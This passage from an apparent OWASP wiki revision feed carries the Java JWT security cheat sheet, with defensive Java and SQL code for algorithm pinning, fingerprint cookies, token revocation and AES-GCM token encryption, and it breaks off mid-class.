* Divide the &amp;quot;Tools_and_Libraries&amp;quot; tab into two differents tab (Scanners and Libraries).&lt;br /&gt;
* Include link to attack pages.&lt;br /&gt;
* Include Top Websites Examples tab.&lt;br /&gt;
* Move the Best Practices to another tab.&lt;br /&gt;
* Include a new tab only for browser versions compatibility.&lt;br /&gt;
* Include X-Permitted-Cross-Domain-Policies under Headers and Best Practices tab.&lt;br /&gt;
* Include Expect-CT header and update HPKP.&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs&amp;gt;&amp;lt;/headertabs&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=JSON_Web_Token_(JWT)_Cheat_Sheet_for_Java&amp;diff=238816</id>
		<title>JSON Web Token (JWT) Cheat Sheet for Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=JSON_Web_Token_(JWT)_Cheat_Sheet_for_Java&amp;diff=238816"/>
				<updated>2018-03-22T08:44:44Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Fix typo&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
= Introduction  =&lt;br /&gt;
__TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
Many applications use '''JSON Web Tokens''' (JWT) to allow the client to indicate its identity for further exchange after authentication.&lt;br /&gt;
&lt;br /&gt;
From ''https://jwt.io/introduction'':&lt;br /&gt;
&lt;br /&gt;
''JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA.''&lt;br /&gt;
&lt;br /&gt;
JSON Web Token is used to carry information related to the identity and characteristics (claims) of a client. This &amp;quot;container&amp;quot; is signed by the server in order to avoid that a client tamper it in order to change, for example, the identity or any characteristics (example: change the role from simple user to admin or change the client login).&lt;br /&gt;
&lt;br /&gt;
This token is created during authentication (is provided in case of successful authentication) and is verified by the server before any processing. It is used by an application to allow a client to present a token representing his &amp;quot;identity card&amp;quot; (container with all information about him) to server and allow the server to verify the validity and integrity of the token in a secure way, all of this in a stateless and portable approach (portable in the way that client and server technologies can be different including also the transport channel even if HTTP is the most often used).&lt;br /&gt;
&lt;br /&gt;
= Token structure =&lt;br /&gt;
&lt;br /&gt;
Token structure example taken from ''https://jwt.io/#debugger'':&lt;br /&gt;
&lt;br /&gt;
'''[ Base64(HEADER) ] . [ Base64(PAYLOAD) ] . [ Base64(SIGNATURE) ]'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Chunk 1: Header&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
{&lt;br /&gt;
 &amp;quot;alg&amp;quot;: &amp;quot;HS256&amp;quot;,&lt;br /&gt;
 &amp;quot;typ&amp;quot;: &amp;quot;JWT&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Chunk 2: Payload&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
{&lt;br /&gt;
 &amp;quot;sub&amp;quot;: &amp;quot;1234567890&amp;quot;,&lt;br /&gt;
 &amp;quot;name&amp;quot;: &amp;quot;John Doe&amp;quot;,&lt;br /&gt;
 &amp;quot;admin&amp;quot;: true&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Chunk 3: Signature&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HMACSHA256( base64UrlEncode(header) + &amp;quot;.&amp;quot; + base64UrlEncode(payload), KEY )&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Objective =&lt;br /&gt;
&lt;br /&gt;
This article have for objective to provide several tips in a form of a cheatsheet, for Java technology, in order to prevent common security issues meet when using JWT.&lt;br /&gt;
&lt;br /&gt;
About the code samples provided in tips, a global java project sample has been created in order to show the creation and the validation of a token in a secure way.&lt;br /&gt;
&lt;br /&gt;
This project is available [https://github.com/righettod/poc-jwt here] and it use official [https://jwt.io/#libraries JWT library].&lt;br /&gt;
&lt;br /&gt;
In the rest of the article, the term '''token''' refer to the '''JSON Web Tokens''' (JWT).&lt;br /&gt;
&lt;br /&gt;
= Consideration about using JWT =&lt;br /&gt;
&lt;br /&gt;
Even if a JWT token is &amp;quot;easy&amp;quot; to use and allow to expose services (mostly REST style) in a stateless way, it's not the solution that fits for all applications because it comes with some caveats, like for example the question of the storage of the token (tackled in this cheatsheet) and others...&lt;br /&gt;
&lt;br /&gt;
If your application does not need to be fully stateless, you can consider using traditional session system provided by all web frameworks and follow the advice from the dedicated [[Session_Management_Cheat_Sheet|cheatsheet]]. However, for stateless applications, when well implemented, it's a good candidate.&lt;br /&gt;
&lt;br /&gt;
= Issues =&lt;br /&gt;
&lt;br /&gt;
== NONE hashing algorithm ==&lt;br /&gt;
&lt;br /&gt;
=== Symptom ===&lt;br /&gt;
&lt;br /&gt;
This attack, described [https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/ here] occur when a attacker alter the token and change the hashing algorithm to indicate, through, the ''none'' keyword, that the integrity of the token has already been verified. As explained in the link above ''some libraries treated tokens signed with the none algorithm as a valid token with a verified signature'', so an attacker can alter the token claims and tkey will be trusted by the application.&lt;br /&gt;
&lt;br /&gt;
=== How to prevent ===&lt;br /&gt;
&lt;br /&gt;
First, use a JWT library that is not exposed to this vulnerability.&lt;br /&gt;
&lt;br /&gt;
Last, during token validation, explicitly request that the expected algorithm was used.&lt;br /&gt;
&lt;br /&gt;
=== Implementation example ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
// HMAC key - Block serialization and storage as String in JVM memory&lt;br /&gt;
private transient byte[] keyHMAC = ...;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
//Create a verification context for the token requesting explicitly the use of the HMAC-256 hashing algorithm&lt;br /&gt;
JWTVerifier verifier = JWT.require(Algorithm.HMAC256(keyHMAC)).build();&lt;br /&gt;
&lt;br /&gt;
//Verify the token, if the verification fail then a exception is throwed&lt;br /&gt;
DecodedJWT decodedToken = verifier.verify(token);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Token sidejacking ==&lt;br /&gt;
&lt;br /&gt;
=== Symptom ===&lt;br /&gt;
&lt;br /&gt;
This attack occur when a token has been intercepted/stolen by a attacker and this one use it to gain access to the system using targeted user identity.&lt;br /&gt;
&lt;br /&gt;
=== How to prevent ===&lt;br /&gt;
&lt;br /&gt;
A way to protect is to add &amp;quot;user context&amp;quot; in the token. User context will be composed by the following information:&lt;br /&gt;
&lt;br /&gt;
* A random string that will be generated during the authentication phase and will be included into the token and also send to the client as an hardened cookie (flags: HttpOnly + Secure + SameSite + cookie prefix).&lt;br /&gt;
* A SHA256 hash of the random string will be stored in the token (instead of the raw value) in order to prevent that any XSS issue allow the attacker to read the random string value and set the expected cookie.&lt;br /&gt;
&lt;br /&gt;
IP address will not be used because there some situation in which IP address can change during the same session like for example when a user access an application through his mobile and he change of mobile operator during the exchange then he change legitimately (often) is IP address. Moreover, using IP address can potentially cause issue at [http://www.eugdpr.org/ European GDPR] compliance level.&lt;br /&gt;
&lt;br /&gt;
During token validation, if the received token do not contains the right context so, it is replayed and then it must be rejected.&lt;br /&gt;
&lt;br /&gt;
=== Implementation example ===&lt;br /&gt;
&lt;br /&gt;
Code to create the token after success authentication.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
// HMAC key - Block serialization and storage as String in JVM memory&lt;br /&gt;
private transient byte[] keyHMAC = ...;&lt;br /&gt;
// Random data generator&lt;br /&gt;
private SecureRandom secureRandom = new SecureRandom();&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
//Generate a random string that will constitute the fingerprint for this user&lt;br /&gt;
byte[] randomFgp = new byte[50];&lt;br /&gt;
this.secureRandom.nextBytes(randomFgp);&lt;br /&gt;
String userFingerprint = DatatypeConverter.printHexBinary(randomFgp);&lt;br /&gt;
&lt;br /&gt;
//Add the fingerprint in a hardened cookie - Add cookie manually because SameSite attribute is not supported by javax.servlet.http.Cookie class&lt;br /&gt;
String fingerprintCookie = &amp;quot;__Secure-Fgp=&amp;quot; + userFingerprint + &amp;quot;; SameSite=Strict; HttpOnly; Secure&amp;quot;;&lt;br /&gt;
response.addHeader(&amp;quot;Set-Cookie&amp;quot;, fingerprintCookie);&lt;br /&gt;
&lt;br /&gt;
//Compute a SHA256 hash of the fingerprint in order to store the fingerprint hash (instead of the raw value) in the token&lt;br /&gt;
//to prevent an XSS to be able to read the fingerprint and set the expected cookie itself&lt;br /&gt;
MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
byte[] userFingerprintDigest = digest.digest(userFingerprint.getBytes(&amp;quot;utf-8&amp;quot;));&lt;br /&gt;
String userFingerprintHash = DatatypeConverter.printHexBinary(userFingerprintDigest);&lt;br /&gt;
&lt;br /&gt;
//Create the token with a validity of 15 minutes and client context (fingerprint) information&lt;br /&gt;
Calendar c = Calendar.getInstance();&lt;br /&gt;
Date now = c.getTime();&lt;br /&gt;
c.add(Calendar.MINUTE, 15);&lt;br /&gt;
Date expirationDate = c.getTime();&lt;br /&gt;
Map&amp;lt;String, Object&amp;gt; headerClaims = new HashMap&amp;lt;&amp;gt;();&lt;br /&gt;
headerClaims.put(&amp;quot;typ&amp;quot;, &amp;quot;JWT&amp;quot;);&lt;br /&gt;
String token = JWT.create().withSubject(login)&lt;br /&gt;
   .withExpiresAt(expirationDate)&lt;br /&gt;
   .withIssuer(this.issuerID)&lt;br /&gt;
   .withIssuedAt(now)&lt;br /&gt;
   .withNotBefore(now)&lt;br /&gt;
   .withClaim(&amp;quot;userFingerprint&amp;quot;, userFingerprintHash)&lt;br /&gt;
   .withHeader(headerClaims)&lt;br /&gt;
   .sign(Algorithm.HMAC256(this.keyHMAC));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code to validate the token.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
// HMAC key - Block serialization and storage as String in JVM memory&lt;br /&gt;
private transient byte[] keyHMAC = ...;&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
//Retrieve the user fingerprint from the dedicated cookie&lt;br /&gt;
String userFingerprint = null;&lt;br /&gt;
if (request.getCookies() != null &amp;amp;&amp;amp; request.getCookies().length &amp;gt; 0) {&lt;br /&gt;
 List&amp;lt;Cookie&amp;gt; cookies = Arrays.stream(request.getCookies()).collect(Collectors.toList());&lt;br /&gt;
 Optional&amp;lt;Cookie&amp;gt; cookie = cookies.stream().filter(c -&amp;gt; &amp;quot;__Secure-Fgp&amp;quot;.equals(c.getName())).findFirst();&lt;br /&gt;
 if (cookie.isPresent()) {&lt;br /&gt;
   userFingerprint = cookie.get().getValue();&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//Compute a SHA256 hash of the received fingerprint in cookie in order to compare it to the fingerprint hash stored in the token&lt;br /&gt;
MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
byte[] userFingerprintDigest = digest.digest(userFingerprint.getBytes(&amp;quot;utf-8&amp;quot;));&lt;br /&gt;
String userFingerprintHash = DatatypeConverter.printHexBinary(userFingerprintDigest);&lt;br /&gt;
&lt;br /&gt;
//Create a verification context for the token&lt;br /&gt;
JWTVerifier verifier = JWT.require(Algorithm.HMAC256(keyHMAC))&lt;br /&gt;
                              .withIssuer(issuerID)&lt;br /&gt;
                              .withClaim(&amp;quot;userFingerprint&amp;quot;, userFingerprintHash)&lt;br /&gt;
                              .build();&lt;br /&gt;
&lt;br /&gt;
//Verify the token, if the verification fail then a exception is throwed&lt;br /&gt;
DecodedJWT decodedToken = verifier.verify(token);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Token explicit revocation by the user ==&lt;br /&gt;
&lt;br /&gt;
=== Symptom ===&lt;br /&gt;
&lt;br /&gt;
This problem is inerrant to JWT token because a token become only invalid when it expires. The user has no built-in feature to explicitly revoke the validity of an token.&lt;br /&gt;
So, in case of steal, a user cannot revoke the token itself and then block the attacker.&lt;br /&gt;
&lt;br /&gt;
=== How to prevent ===&lt;br /&gt;
&lt;br /&gt;
A way to protect is to implement a token blacklist that will be used to mimic the &amp;quot;logout&amp;quot; feature that exists with traditional session system.&lt;br /&gt;
&lt;br /&gt;
The blacklist will keep a digest (SHA-256 encoded in HEX) of the token with a revokation date, this, for a duration that must be superior to the duration validity of a issued token.&lt;br /&gt;
&lt;br /&gt;
When the user want to &amp;quot;logout&amp;quot; then it call a dedicated service that will add the provided user token to the blacklist resulting in a immediate invalidation of the token for further usage in the application.&lt;br /&gt;
&lt;br /&gt;
=== Implementation example ===&lt;br /&gt;
&lt;br /&gt;
==== Blacklist storage ====&lt;br /&gt;
&lt;br /&gt;
A database table with the following structure will used as central blacklist storage.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
create table if not exists revoked_token(jwt_token_digest varchar(255) primary key, revokation_date timestamp default now());&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Token revocation management ====&lt;br /&gt;
&lt;br /&gt;
Code in charge of adding a token to the blacklist and check if a token is revoked.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
/**&lt;br /&gt;
* Handle the revokation of the token (logout).&lt;br /&gt;
* Use a DB in order to allow multiple instances to check for revoked token and allow cleanup at centralized DB level.&lt;br /&gt;
*/&lt;br /&gt;
public class TokenRevoker {&lt;br /&gt;
&lt;br /&gt;
 /** DB Connection */&lt;br /&gt;
 @Resource(&amp;quot;jdbc/storeDS&amp;quot;)&lt;br /&gt;
 private DataSource storeDS;&lt;br /&gt;
&lt;br /&gt;
 /**&lt;br /&gt;
  * Verify if a digest encoded in HEX of the ciphered token is present in the revokation table&lt;br /&gt;
  *&lt;br /&gt;
  * @param jwtInHex Token encoded in HEX&lt;br /&gt;
  * @return Presence flag&lt;br /&gt;
  * @throws Exception If any issue occur during communication with DB&lt;br /&gt;
  */&lt;br /&gt;
 public boolean isTokenRevoked(String jwtInHex) throws Exception {&lt;br /&gt;
     boolean tokenIsPresent = false;&lt;br /&gt;
     if (jwtInHex != null &amp;amp;&amp;amp; !jwtInHex.trim().isEmpty()) {&lt;br /&gt;
         //Decode the ciphered token&lt;br /&gt;
         byte[] cipheredToken = DatatypeConverter.parseHexBinary(jwtInHex);&lt;br /&gt;
&lt;br /&gt;
         //Compute a SHA256 of the ciphered token&lt;br /&gt;
         MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
         byte[] cipheredTokenDigest = digest.digest(cipheredToken);&lt;br /&gt;
         String jwtTokenDigestInHex = DatatypeConverter.printHexBinary(cipheredTokenDigest);&lt;br /&gt;
&lt;br /&gt;
         //Search token digest in HEX in DB&lt;br /&gt;
         try (Connection con = this.storeDS.getConnection()) {&lt;br /&gt;
             String query = &amp;quot;select jwt_token_digest from revoked_token where jwt_token_digest = ?&amp;quot;;&lt;br /&gt;
             try (PreparedStatement pStatement = con.prepareStatement(query)) {&lt;br /&gt;
                 pStatement.setString(1, jwtTokenDigestInHex);&lt;br /&gt;
                 try (ResultSet rSet = pStatement.executeQuery()) {&lt;br /&gt;
                     tokenIsPresent = rSet.next();&lt;br /&gt;
                 }&lt;br /&gt;
             }&lt;br /&gt;
         }&lt;br /&gt;
     }&lt;br /&gt;
&lt;br /&gt;
     return tokenIsPresent;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 /**&lt;br /&gt;
  * Add a digest encoded in HEX of the ciphered token to the revokation token table&lt;br /&gt;
  *&lt;br /&gt;
  * @param jwtInHex Token encoded in HEX&lt;br /&gt;
  * @throws Exception If any issue occur during communication with DB&lt;br /&gt;
  */&lt;br /&gt;
 public void revokeToken(String jwtInHex) throws Exception {&lt;br /&gt;
     if (jwtInHex != null &amp;amp;&amp;amp; !jwtInHex.trim().isEmpty()) {&lt;br /&gt;
         //Decode the ciphered token&lt;br /&gt;
         byte[] cipheredToken = DatatypeConverter.parseHexBinary(jwtInHex);&lt;br /&gt;
&lt;br /&gt;
         //Compute a SHA256 of the ciphered token&lt;br /&gt;
         MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
         byte[] cipheredTokenDigest = digest.digest(cipheredToken);&lt;br /&gt;
         String jwtTokenDigestInHex = DatatypeConverter.printHexBinary(cipheredTokenDigest);&lt;br /&gt;
&lt;br /&gt;
         //Check if the token digest in HEX is already in the DB and add it if it is absent&lt;br /&gt;
         if (!this.isTokenRevoked(jwtInHex)) {&lt;br /&gt;
             try (Connection con = this.storeDS.getConnection()) {&lt;br /&gt;
                 String query = &amp;quot;insert into revoked_token(jwt_token_digest) values(?)&amp;quot;;&lt;br /&gt;
                 int insertedRecordCount;&lt;br /&gt;
                 try (PreparedStatement pStatement = con.prepareStatement(query)) {&lt;br /&gt;
                     pStatement.setString(1, jwtTokenDigestInHex);&lt;br /&gt;
                     insertedRecordCount = pStatement.executeUpdate();&lt;br /&gt;
                 }&lt;br /&gt;
                 if (insertedRecordCount != 1) {&lt;br /&gt;
                     throw new IllegalStateException(&amp;quot;Number of inserted record is invalid, 1 expected but is &amp;quot; + insertedRecordCount);&lt;br /&gt;
                 }&lt;br /&gt;
             }&lt;br /&gt;
         }&lt;br /&gt;
&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Token information disclosure ==&lt;br /&gt;
&lt;br /&gt;
=== Symptom ===&lt;br /&gt;
&lt;br /&gt;
This attack occur when a attacker access to a token (or a set of tokens) and extract information stored into it (JWT token information are base64 encoded at the basis) in order to obtains information about the system. Information can be for example the security roles, login format...&lt;br /&gt;
&lt;br /&gt;
=== How to prevent ===&lt;br /&gt;
&lt;br /&gt;
A way to protect, is to cipher the token using for example a symetric algorithm.&lt;br /&gt;
&lt;br /&gt;
It's also important to protect the ciphered data against attack like [[Testing_for_Padding_Oracle_(OTG-CRYPST-002)|Padding Oracle]] or any other attack using cryptanalysis.&lt;br /&gt;
&lt;br /&gt;
In order to achieve all these goals, the algorithm ''AES-GCM'' can be used in conjunction with ''Additional Authentication Data (AAD)'' feature.&lt;br /&gt;
&lt;br /&gt;
A database can be used to store the ''NONCE'' and the ''AAD'' associated to a token.&lt;br /&gt;
&lt;br /&gt;
'''Note:'''&lt;br /&gt;
&lt;br /&gt;
Here ciphering is added mainly to hide internal information but it's very important to remember that the first protection against tampering of the JWT token is the signature so, the token signature and is verification must be always in place.&lt;br /&gt;
&lt;br /&gt;
=== Implementation example ===&lt;br /&gt;
&lt;br /&gt;
==== Token ciphering ====&lt;br /&gt;
&lt;br /&gt;
Database structure.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;sql&amp;quot;&amp;gt;&lt;br /&gt;
create table if not exists nonce(jwt_token_digest varchar(255) primary key, gcm_nonce varchar(255) not null unique, gcm_aad varchar(255) not null unique);&lt;br /&gt;
create index if not exists idx_nonce on nonce(gcm_nonce);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code in charge of managing the ciphering.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;java&amp;quot;&amp;gt;&lt;br /&gt;
/**&lt;br /&gt;
* Handle ciphering and deciphering of the token using AES-GCM.&lt;br /&gt;
* Use a DB in order to link a GCM NONCE to a ciphered message and ensure that a NONCE is never reused&lt;br /&gt;
* and also allow use of several application nodes in load balancing.&lt;br /&gt;
*/&lt;br /&gt;
public class TokenCipher {&lt;br /&gt;
&lt;br /&gt;
   /** AES-GCM parameters */&lt;br /&gt;
   private static final int GCM_NONCE_LENGTH = 12; // in bytes&lt;br /&gt;
&lt;br /&gt;
   /** AES-GCM parameters */&lt;br /&gt;
   private static final int GCM_TAG_LENGTH = 16; // in bytes&lt;br /&gt;
&lt;br /&gt;
   /**Secure random generator */&lt;br /&gt;
   private final SecureRandom secRandom = new SecureRandom();&lt;br /&gt;
&lt;br /&gt;
   /** DB Connection */&lt;br /&gt;
   @Resource(&amp;quot;jdbc/storeDS&amp;quot;)&lt;br /&gt;
   private DataSource storeDS;&lt;br /&gt;
&lt;br /&gt;
   /**&lt;br /&gt;
    * Cipher a JWT&lt;br /&gt;
    * @param jwt Token to cipher&lt;br /&gt;
    * @param key Ciphering key&lt;br /&gt;
    * @return The ciphered version of the token encoded in HEX&lt;br /&gt;
    * @throws Exception If any issue occur during token ciphering operation&lt;br /&gt;
    */&lt;br /&gt;
   public String cipherToken(String jwt, byte[] key) throws Exception {&lt;br /&gt;
       //Verify parameters&lt;br /&gt;
       if(jwt == null || jwt.isEmpty() || key == null || key.length == 0){&lt;br /&gt;
           throw new IllegalArgumentException(&amp;quot;Both parameters must be specified !&amp;quot;);&lt;br /&gt;
       }&lt;br /&gt;
&lt;br /&gt;
       //Generate a NONCE&lt;br /&gt;
       //NOTE: As in the DB, the column to store the NONCE is flagged UNIQUE then the insert will fail&lt;br /&gt;
       //if the NONCE already exists, normally as we use the Java Secure Random implementation&lt;br /&gt;
       //it will never happen.&lt;br /&gt;
       final byte[] nonce = new byte[GCM_NONCE_LENGTH];&lt;br /&gt;
       secRandom.nextBytes(nonce);&lt;br /&gt;
&lt;br /&gt;
       //Prepare ciphering key from bytes provided&lt;br /&gt;
       SecretKey aesKey = new SecretKeySpec(key, 0, key.length, &amp;quot;AES&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
       //Setup Cipher&lt;br /&gt;
       Cipher cipher = Cipher.getInstance(&amp;quot;AES/GCM/NoPadding&amp;quot;, &amp;quot;SunJCE&amp;quot;);&lt;br /&gt;
       GCMParameterSpec spec = new GCMParameterSpec(GCM_TAG_LENGTH * 8, nonce);&lt;br /&gt;
       cipher.init(Cipher.ENCRYPT_MODE, aesKey, spec);&lt;br /&gt;
&lt;br /&gt;
       //Add &amp;quot;Additional Authentication Data&amp;quot; (AAD) in order to operate in AEAD mode - Generate it&lt;br /&gt;
       byte[] aad = new byte[32];&lt;br /&gt;
       secRandom.nextBytes(aad);&lt;br /&gt;
       cipher.updateAAD(aad);&lt;br /&gt;
&lt;br /&gt;
       //Cipher the token&lt;br /&gt;
       byte[] cipheredToken = cipher.doFinal(jwt.getBytes(&amp;quot;utf-8&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
       //Compute a SHA256 of the ciphered token&lt;br /&gt;
       MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
       byte[] cipheredTokenDigest = digest.digest(cipheredToken);&lt;br /&gt;
&lt;br /&gt;
       //Store GCM NONCE and GCM AAD&lt;br /&gt;
       this.storeNonceAndAAD(DatatypeConverter.printHexBinary(nonce), DatatypeConverter.printHexBinary(aad),&lt;br /&gt;
       DatatypeConverter.printHexBinary(cipheredTokenDigest));&lt;br /&gt;
&lt;br /&gt;
       return DatatypeConverter.printHexBinary(cipheredToken);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   /**&lt;br /&gt;
    * Decipher a JWT&lt;br /&gt;
    * @param jwtInHex Token to decipher encoded in HEX&lt;br /&gt;
    * @param key Ciphering key&lt;br /&gt;
    * @return The token in clear text&lt;br /&gt;
    * @throws Exception If any issue occur during token deciphering operation&lt;br /&gt;
    */&lt;br /&gt;
   public String decipherToken(String jwtInHex, byte[] key) throws Exception{&lt;br /&gt;
       //Verify parameters&lt;br /&gt;
       if(jwtInHex == null || jwtInHex.isEmpty() || key == null || key.length == 0){&lt;br /&gt;
           throw new IllegalArgumentException(&amp;quot;Both parameters must be specified !&amp;quot;);&lt;br /&gt;
       }&lt;br /&gt;
&lt;br /&gt;
       //Decode the ciphered token&lt;br /&gt;
       byte[] cipheredToken = DatatypeConverter.parseHexBinary(jwtInHex);&lt;br /&gt;
&lt;br /&gt;
       //Compute a SHA256 of the ciphered token&lt;br /&gt;
       MessageDigest digest = MessageDigest.getInstance(&amp;quot;SHA-256&amp;quot;);&lt;br /&gt;
       byte[] cipheredTokenDigest = digest.digest(cipheredToken);&lt;br /&gt;
&lt;br /&gt;
       //Read the GCM NONCE and GCM AAD associated from the DB&lt;br /&gt;
       Map&amp;lt;String,String&amp;gt; gcmInfos = this.readNonceAndAAD(DatatypeConverter.printHexBinary(cipheredTokenDigest));&lt;br /&gt;
       if(gcmInfos == null){&lt;br /&gt;
           throw new Exception(&amp;quot;Cannot found a NONCE and AAD associated to the token provided !&amp;quot;);&lt;br /&gt;
       }&lt;br /&gt;
       byte[] nonce = DatatypeConverter.parseHexBinary(gcmInfos.get(&amp;quot;NONCE&amp;quot;));&lt;br /&gt;
       byte[] aad = DatatypeConverter.parseHexBinary(gcmInfos.get(&amp;quot;AAD&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
       //Prepare ciphering key from bytes provided&lt;br /&gt;
       SecretKey aesKey = new SecretKeySpec(key, 0, key.length, &amp;quot;AES&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
       //Setup Cipher&lt;br /&gt;
       Cipher cipher = Cipher.getInstance(&amp;quot;AES/GCM/NoPadding&amp;quot;, &amp;quot;SunJCE&amp;quot;);&lt;br /&gt;
       GCMParameterSpec spec = new GCMParameterSpec(GCM_TAG_LENGTH * 8, nonce);&lt;br /&gt;
       cipher.init(Cipher.DECRYPT_MODE, aesKey, spec);&lt;br /&gt;
&lt;br /&gt;
       //Add &amp;quot;Additional Authentication Data&amp;quot; (AAD) in order to operate in AEAD mode&lt;br /&gt;
       cipher.updateAAD(aad);&lt;br /&gt;
&lt;br /&gt;
       //Decipher the token&lt;br /&gt;
       byte[] decipheredToken = cipher.doFinal(cipheredToken);&lt;br /&gt;
&lt;br /&gt;
       return new String(decipheredToken);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   /**&lt;br /&gt;
    * Store GCM NONCE and GCM AAD in the DB&lt;br /&gt;
    * @param nonceInHex Nonce encoded in HEX&lt;br /&gt;
    * @param aadInHex AAD encoded in HEX&lt;br /&gt;
    * @param jwtTokenDigestInHex SHA256 of the JWT ciphered token encoded in HEX&lt;br /&gt;
    * @throws Exception If any issue occur during communication with DB&lt;br /&gt;
    */&lt;br /&gt;
   private void storeNonceAndAAD(String nonceInHex, String aadInHex, String jwtTokenDigestInHex) throws Exception {&lt;br /&gt;
       try (Connection con = this.storeDS.getConnection()) {&lt;br /&gt;
           String query = &amp;quot;insert into nonce(jwt_token_digest, gcm_nonce, gcm_aad) values(?, ?, ?)&amp;quot;;&lt;br /&gt;
           int insertedRecordCount;&lt;br /&gt;
           try (PreparedStatement pStatement = con.prepareStatement(query)) {&lt;br /&gt;
               pStatement.setString(1, jwtTokenDigestInHex);&lt;br /&gt;
               pStatement.setString(2, nonceInHex);&lt;br /&gt;
               pStatement.setString(3, aadInHex);&lt;br /&gt;
               insertedRecordCount = pStatement.executeUpdate();&lt;br /&gt;
           }&lt;br /&gt;
           if (insertedRecordCount != 1) {&lt;br /&gt;
               throw new IllegalStateException(&amp;quot;Number of inserted record is invalid, 1 expected but is &amp;quot; + insertedRecordCount);&lt;br /&gt;
           }&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
   /**&lt;br /&gt;
    * Read GCM NONCE and GCM AAD from the DB&lt;br /&gt;
    * @param jwtTokenDigestInHex SHA256 of the JWT ciphered token encoded in HEX for which we must read the NONCE and AAD&lt;br /&gt;
